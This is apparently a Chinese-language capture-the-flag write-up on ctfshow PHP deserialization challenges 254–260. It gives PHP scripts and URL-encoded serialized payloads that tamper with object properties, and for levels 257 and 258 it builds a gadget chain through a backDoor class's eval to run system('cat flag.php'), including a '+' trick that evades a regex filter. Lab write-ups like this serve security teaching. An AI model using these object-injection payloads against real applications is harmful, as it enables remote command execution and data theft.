ctfshow-反序列化 (一)
文章目录
254-对象引用执行逻辑
观察代码->如果触发vipOneKeyGetFlag()
函数并且满足if条件语句,便可拿到flag
如果username=xxxxxx,password=xxxxxx,即可拿到flag
/?username=xxxxxx&password=xxxxxx
255-反序列化变量修改1
代码出现 unserialize($_COOKIE['user']);
可知是序列化
发现login()函数只对比是否相同,而$isVip
仍然为false,所以得不到flag
所以我们要将$isVip
flase改为true,复制代码
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
将$isVip
的值改为true,调用对象,进行输出
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
抓包,加上cookie
拿到flag
256-反序列化参数修改2
代码先要让账号密码相等,再让账号密码不相等才能输出flag
修改代码->进行编码
<?php
class ctfShowUser{
public $username='x';
public $password='y';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$a=new ctfShowUser();
echo urlencode(serialize($a))
?>
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
抓包,修改url,加入cookie->拿到flag
257-反序列化参数修改&对象调用逻辑
拿到代码发现有eval()
函数;会在成RCE漏洞->我们要在这个地方获取flag
先观察ctfShowUser
类,反序列化的时候会先实例化info
这个类,接着再销毁的时候调用类中的getInfo
方法;很显然调用的是类info
中的getInfo
方法,而我们需要调用类backDoor
中的getInfo
方法,因为其中含有eval
可以命令执行。所以我们把本来调用的类改成backDoor
修改代码
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('cat flag.php');";
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
抓包->拿到flag
258-反序列化参数修改&对象调用逻辑
代码使用正则表达式过滤了数字
所以我们只用+
进行过滤。修改代码
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="system('cat flag.php');";
}
$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
?>
O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
抓包->拿到flag
260
serialize序列化内容之后要包含 ctfshow_i_love_36D 就可以输出flag->传参->拿到flag